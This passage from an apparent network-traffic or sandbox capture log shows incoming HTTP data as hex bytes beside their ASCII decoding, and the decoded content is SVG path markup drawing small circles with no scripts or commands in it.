2023-07-27 19:54:08 UTC	3525	IN	Data Raw: 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 39 30 2c 34 33 35 2e 32 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 Data Ascii: .1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.2,2.64,2.64,0,0,1,0,3.57"/><path class="cls-9" d="M890,435.25a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.63,2.63,0,0,1,0,3.57"/><pat
2023-07-27 19:54:08 UTC	3541	IN	Data Raw: 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 38 2e 30 36 2c 32 35 33 2e 32 31 41 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 39 31 37 2c 32 35 36 61 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 Data Ascii: 0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M918.06,253.21A2.15,2.15,0,0,1,917,256a3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3
2023-07-27 19:54:08 UTC	3557	IN	Data Raw: 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 35 32 2e 38 2c 33 31 34 2e 32 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 Data Ascii: ,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M952.8,314.28a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9
2023-07-27 19:54:08 UTC	3573	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 35 38 2c 32 35 31 2e 36 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 32 38 2c 32 34 32 2e 38 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M59.58,251.63a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M59.28,242.85a2.18,2.18,0,0
2023-07-27 19:54:08 UTC	3589	IN	Data Raw: 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 39 37 2c 33 30 33 2e 30 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d Data Ascii: 8,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M97,303.09a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-
2023-07-27 19:54:08 UTC	3605	IN	Data Raw: 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 35 36 2c 31 31 37 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 32 36 2c 31 30 39 2e 30 35 61 32 2e 31 38 2c 32 2e 31 38 2c Data Ascii: 6,2.86,2.86,0,0,1,3.67,0,2.67,2.67,0,0,1,.19,3.61"/><path class="cls-7" d="M117.56,117.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M117.26,109.05a2.18,2.18,
2023-07-27 19:54:08 UTC	3621	IN	Data Raw: 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2e 33 31 2c 31 37 38 2e 30 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2c 31 Data Ascii: 1.2,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M155.31,178.08a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.84,2.84,0,0,1,3.66,0,2.67,2.67,0,0,1,.2,3.62"/><path class="cls-7" d="M155,1
2023-07-27 19:54:08 UTC	3637	IN	Data Raw: 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 33 2e 30 37 2c 32 33 38 2e 33 32 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 32 2e 37 37 2c 32 32 39 2e 35 34 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c Data Ascii: 0,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M193.07,238.32a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M192.77,229.54a2.17,2.17,0,0,1-1,2.83,3.18,
2023-07-27 19:54:08 UTC	3653	IN	Data Raw: 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 38 33 2c 32 39 38 2e 35 37 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 35 Data Ascii: 1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M230.83,298.57a2.19,2.19,0,0,1-1,2.83,3.2,3.2,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M230.5
2023-07-27 19:54:08 UTC	3669	IN	Data Raw: 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 35 31 2e 33 35 2c 31 31 33 2e 33 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d Data Ascii: 3-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M251.35,113.31a2.17,2.17,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M
2023-07-27 19:54:08 UTC	3685	IN	Data Raw: 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 38 39 2e 31 2c 31 37 33 2e 35 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M289.1,173.55a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.66,2.66,0,0,1,.2,3.61"/><path class="
2023-07-27 19:54:08 UTC	3701	IN	Data Raw: 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 32 36 2e 38 36 2c 32 33 33 2e 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c Data Ascii: ,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M326.86,233.8a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><
2023-07-27 19:54:08 UTC	3717	IN	Data Raw: 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 34 2e 36 32 2c 32 39 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 Data Ascii: 18,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M364.62,294a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path cla
2023-07-27 19:54:08 UTC	3733	IN	Data Raw: 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 36 34 2c 32 30 32 2e 33 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 33 37 2c 31 39 34 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e Data Ascii: ass="cls-9" d="M290.64,202.37a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M290.37,194.29a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.
2023-07-27 19:54:08 UTC	3749	IN	Data Raw: 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 38 33 2c 32 34 31 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 35 36 2c 32 33 33 Data Ascii: 8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.83,241.65a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.88-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.56,233
2023-07-27 19:54:08 UTC	3765	IN	Data Raw: 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2e 33 2c 32 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2e 30 35 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2c 32 38 30 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d Data Ascii: 38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M359.3,289a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.62,2.62,0,0,1,3.37.05,2.45,2.45,0,0,1,.18,3.32"/><path class="cls-9" d="M359,280.92a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-
2023-07-27 19:54:08 UTC	3781	IN	Data Raw: 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 33 2e 34 39 2c 33 32 38 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c Data Ascii: 1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M393.49,328.28a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,
2023-07-27 19:54:08 UTC	3797	IN	Data Raw: 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 38 2c 33 37 35 2e 36 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 37 2e 36 39 2c 33 36 37 2e 35 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 